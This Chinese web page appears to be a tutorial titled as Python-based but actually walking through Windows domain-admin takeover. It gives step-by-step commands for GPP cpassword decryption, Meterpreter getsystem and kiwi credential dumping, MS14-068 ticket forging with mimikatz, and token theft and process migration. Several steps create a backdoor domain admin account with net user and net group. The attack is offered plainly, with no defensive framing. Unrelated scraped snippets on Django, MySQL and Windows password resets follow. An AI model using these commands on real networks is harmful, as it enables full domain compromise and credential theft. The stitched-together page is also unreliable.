Python安全获取域管理员权限几种方式操作示例

目录
  • 第1种方式:利用GPP漏洞获取域管理权限
  • 第2种方式:获取服务器明文登录密码
  • 第3种方式:使用MS14-068漏洞进行提权
  • 第4种方式:窃取域管理员令牌
  • 第5种方式:进程迁移

在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限

第1种方式:利用GPP漏洞获取域管理权限

SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题。

(1)访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。

(2)使用kali自带的gpp-decrypt进行破解,从而获取域账号密码,直接登录域管理员账号获取访问权限。

第2种方式:获取服务器明文登录密码

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

meterpreter > getuid
Server username: BYPASS-E97BA3FC\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

加载kiwi模块

load kiwi

列举系统中的明文密码

creds_all

第3种方式:使用MS14-068漏洞进行提权

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

攻击流程:

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  dc.test.com

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

mimikatz#kerberos::ptc TGT_bypass@test.com.ccache

第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。

PsExec.exe \\dc cmd.exe
// 添加test用户
net user test abc123! /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins"  test /add /domain
// 查看域管理员
net group "domain admins" /domain

第4种方式:窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在meterpreter shell上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

第5种方式:进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins"  test /add /domain

4、成功添加了域管理员账号test。

以上就是Python安全获取域管理员权限几种方式操作示例的详细内容,更多关于Python获取域管理员权限方式的资料请关注我们其它相关文章!

时间: 2021-10-13

解析PyCharm Python运行权限问题

先通过 which python 获得 python 指令所在路径: $ which python /usr/bin/python 如上得到了其所在路径是 /usr/bin/python ,因此我创建了一个文件 ~/bin/python-sudo.sh ,然后填入: #!/bin/bash sudo /usr/bin/python "$@" 给到其执行权限: chmod +x ~/bin/python-sudo.sh 第二步 让当前用户执行 sudo python 不需要输入密码执行:

使用Python防止SQL注入攻击的实现示例

文章背景 每隔几年,开放式Web应用程序安全项目就会对最关键的Web应用程序安全风险进行排名.自第一次报告以来,注入风险高居其位!在所有注入类型中,SQL注入是最常见的攻击手段之一,而且是最危险的.由于Python是世界上最流行的编程语言之一,因此了解如何防止Python SQL注入对于我们来说还是比较重要的 那么在写这篇文章的时候我也是查询了国内外很多资料,最后带着问题去完善总结: 什么是Python SQL注入以及如何防止注入 如何使用文字和标识符作为参数组合查询 如何安全地执行数据库中的查

Django管理员账号和密码忘记的完美解决方法

发现问题 看着Django的教程学习搭建网站,结果忘记第一次创建的账号和密码了.结果搭建成功以后,一直无法登陆到管理页面,进行不下去了. 如图所示: 在网上找了很多的方法都不行,最后使用新建一个superuser的方法搞定,但是以前设置的那个账号好像还是不行. 解决方法的步骤: 1.新建一个用户名,使用如下命令: python manage.py createsuperuser 2.输入打算使用的登录名: Username(leave blank to use 'administrator'):

Pycharm以root权限运行脚本的方法

因为权限不够,导致Pycharm在运行脚本时报错: socket.error: [Errno 1] Operation not permitted 网上有一些修改文件使得Pycharm运行脚本时可以不需要密码的以root权限运行. 但是大多操作雷同,估计是复制粘贴的,而且下方有几条评论表示IDE报错. 在跟随他操作到最后时发现无法继续,就干脆用简单粗暴的方式,以sudo启动IDE: sudo ./pycharm.sh 启动后需要手动导入项目与解释器,不然代码无法运行. 导入解释器后即可运行代码

Django 忘记管理员或忘记管理员密码 重设登录密码的方法

看到标题就知道有逗比忘了密码...没错就是我. 你也忘了密码? 不要着急! 0x00: 第一步:运行django shell python3 manage.py shell 0x01: 第二步:重设密码 >>> from django.contrib.auth.models import User >>> user = User.object.get(username='your_account') >>> user.set_password('you

破解WINDOWSXP/2000/2003登录密码/去掉登录密码/重设登录密码的方法总结

破解WINDOWSXP/2000/2003/98/ME的密码方法真的是多,所以说,Microsoft的Windows漏洞真的是多!不过这样也方便了很多用户对计算机的管理,有利也有弊! 很多朋友也咨询过此类问题很多次,每次我得要一个个回答,所以今天我就把方法综合一下,希望对大家有些实用的价值吧! 我们 www.jb51.net 首先从简单的说起: 对于可以进入系统,然后又有管理权限的用户要破解Administrator内制管理用户的密码: 右键|我的电脑,选择"管理" 进入"计

Django重设Admin密码过程解析

这篇文章主要介绍了Django重设Admin密码过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 如果你忘记了Admin的密码的话,就要用Django shell: python manage.py shell 然后获取你的用户名,并且重设密码: >>>from django.contrib.auth.models import User >>>user = User.objects.get(username='

用密码重设盘设新密码

用密码重设盘设新密码     在没有使用"欢迎屏幕"登录方式的情况下登录到Windows XP后.按下"Ctrl+Alt+Del"组合键,出现"Windows 安全"窗口,点击选项中"更改密码"按钮,出现更改密码窗口(图1).这个窗口中,将当前用户的密码备份,点击左下角"备份"按钮激活"忘记密码向导",按照提示创建密码重设盘.     如果在Windows XP的登录窗口输入了错误的密码

asp.net membership 密码重设

在web.config中: 复制代码 代码如下: <connectionStrings> <add name="SqlServices" connectionString="server=.;database=data;uid=sa;pwd=123;" /> </connectionStrings> 复制代码 代码如下: <membership defaultProvider="SqlProvider"

CentOS下安装mysql时忘记设置root密码致无法登录的解决方法

前言 昨天一天都是启动mysql时提示:The server quit without updating PID file,今天重装了mysql之后还是同样报错,然后恢复了一下/usr/my.cnf突然就可以启动了.(明明昨天/usr/my.cnf就是默认的,有个解决方法说改这个文件才改的) 然后现在就到没有设置root密码的问题了,搜了几个方法都不行,直到看到下面这个方法一才行. 解决方法一: # /etc/init.d/mysql stop # mysqld_safe --user=mysq

mysql root密码的重设方法(亲测可用)

注意!#号后面是需要操作的地方. 1.前提注意事项 首先确认服务器出于安全的状态,也就是没有人能够任意地连接MySQL数据库. 因为在重新设置MySQL的root密码的期间,MySQL数据库完全出于没有密码保护的 状态下,其他的用户也可以任意地登录和修改MySQL的信息.可以采用将MySQL对 外的端口封闭,并且停止Apache以及所有的用户进程的方法实现服务器的准安全 状态.最安全的状态是到服务器的Console上面操作,并且拔掉网线. 2.修改MySQL的登录设置: # vi /etc/my

Windows 2000、XP、2003登录密码恢复攻略

一.删除SAM文件,清除Administrator账号密码 二.从SAM文件中查找密码        1.L0phtCrack (LC)        2.LCP        3.SamInside pro 三.用Net User命令恢复系统登陆用户密码 四.用密码重设盘设新密码 五.修改屏保文件法 六.使用软件修改密码 Windows XP 2000 NT Password Recovery Key CleanPwd Offline NT Password & Registry Editor

Oracle 数据库忘记sys与system管理员密码重置操作方法

首先打开cmd 执行 orapwd file=C:\app\PWDorcl.ora password=orclorcl C:\app\PWDorcl.ora是你要存放的路径文件 Password=orclorcl是你要改的密码 然后回车,在该路径下就会生成一个文件.把这文件替换你本机oracl的密码文件.Sys和system密码就会改成你要重新设置的密码 例如我的本机路径是C:\app\product\11.2.0\dbhome_1\database 以上所述是小编给大家介绍的Oracle 数据

postfixadmin忘记密码后的修改密码方法详解

本文实例讲述了postfixadmin忘记密码后的修改密码方法.分享给大家供大家参考,具体如下: Postfix Admin 是一个基于Web的 Postfix 邮件发送服务器的管理工具,可以直接管理 Postfix 的虚拟域名和用户. 由于有一段时间没使用postfixadmin增删用户了, 突然需使用时忘记了管理密码,  使用老外的方式直接在数据库里修改密码, 后登录成功 php源码: <?php echo md5crypt("新密码"); // md5crypt // Ac